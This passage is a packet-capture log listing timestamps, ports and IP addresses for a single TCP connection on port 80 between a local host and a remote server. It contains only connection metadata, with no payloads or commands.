Nov 24, 2024 02:13:24.401211977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.401252031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.401942015 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.401989937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.402034044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.402219057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.402760983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.402816057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.402842045 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.402882099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.403589964 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.403633118 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.403681993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.403724909 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.404407978 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.404453993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.404495001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.404774904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.405196905 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.405246019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.405289888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.405329943 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.406040907 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.406094074 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.406131983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.406179905 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.406838894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.406891108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.406938076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.407100916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.407679081 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.407728910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.407774925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.407870054 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.408493042 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.408550978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.408590078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.408691883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.409292936 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.409413099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.409445047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.409461021 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.410119057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.410165071 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.410213947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.410254002 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.410942078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.410995960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.411045074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.411087036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.411768913 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.411823034 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.411875963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.411926031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.412580013 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.412628889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.412684917 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.412727118 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.413403988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.413471937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.413516998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.413633108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.414216995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.414268017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.414319038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.414396048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.414983988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.415040970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.573493958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.573550940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.573724985 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.573765993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.573846102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.573862076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.573904037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.574654102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.574703932 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.574762106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.574901104 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.575418949 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.575467110 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.575515985 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.575630903 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.576237917 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.576287031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.576333046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.576414108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.577053070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.577105999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.577150106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.577869892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.577914953 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.577980042 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.578027964 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.578691006 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.578738928 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.578809977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.578917980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.579530001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.579591036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.579634905 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.579687119 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.580338001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.580393076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.580440044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.580482960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.581140995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.581211090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.581290960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.581336975 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.581959963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.582006931 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.582052946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.582134008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.582781076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.582829952 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.582875013 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.582917929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.583616972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.583673954 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.583724022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.583764076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.584450006 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.584539890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.584552050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.584676027 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.585249901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.585305929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.585339069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.585376978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.586081028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.586127043 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.586216927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.586301088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.586884022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.586929083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.586971998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.587024927 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.587707043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.587758064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.587898970 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.587945938 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.588515043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.588560104 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.588607073 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.588705063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.589335918 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.589379072 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.589443922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.589610100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.590186119 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.590234041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.590275049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.590342045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.591002941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.591097116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.591118097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.591305017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.591813087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.591902971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.591942072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.591981888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.592621088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.592660904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.592724085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.592775106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.593446016 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.593489885 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.593559980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.593601942 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.594273090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.594317913 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.594362974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.594403982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.595079899 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.595128059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.595201015 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.595246077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.595910072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.595968008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.596012115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.596214056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.596735001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.596784115 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.596851110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.596894979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.597543955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.597590923 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.597656965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.597697973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.598350048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.598395109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.598470926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.598571062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.599188089 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.599231958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.599298954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.599369049 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.600002050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.600048065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.600085974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.600176096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.600833893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.600872040 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.600950956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.601001024 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.601653099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.601691961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.601736069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.601826906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.602468014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.602520943 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.602565050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.602611065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.603292942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.603420019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.603449106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.603468895 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.604110956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.604180098 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.604186058 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.604232073 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.604927063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.605025053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.605043888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.605058908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.605741024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.605787039 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.605835915 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.605874062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.606607914 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.606651068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.606697083 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.606736898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.607403994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.607454062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.607553005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.607640028 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.608207941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.608257055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.608302116 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.608351946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.609019041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.609062910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.609126091 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.609165907 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.609867096 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.609937906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.609982014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.610021114 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.610662937 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.610730886 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.610769987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.610810995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.611474991 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.611540079 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.611609936 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.611649036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.612340927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.612449884 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.612473965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.612519979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.613131046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.613181114 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.613233089 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.613272905 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.613930941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.614007950 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.614046097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.614087105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.614739895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.614804983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.614852905 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.614892006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.615591049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.615638971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.615684032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.615736961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.616352081 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.616396904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.775787115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.775882959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.776015043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.776077986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.776156902 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.776310921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.776356936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.777003050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.777066946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.777154922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.777196884 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.777875900 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.777929068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.778043032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.778083086 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.778703928 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.778762102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.778851032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.778892994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.779517889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.779566050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.779685020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.779736996 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.780261993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.780307055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.780455112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.780570984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.781244993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.781261921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.781310081 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.782044888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.782099009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.782188892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.782330990 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.782830000 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.782847881 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.782882929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.782897949 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.783684969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.783704996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.783736944 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.783761978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.784337044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.784400940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.784789085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.784900904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.785291910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.785307884 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.785356045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.785371065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.786082029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.786098957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.786142111 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.786156893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.786973000 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.786990881 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.787034035 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.787036896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.787055969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.787133932 CET	49748	80	192.168.2.4	185.215.113.206
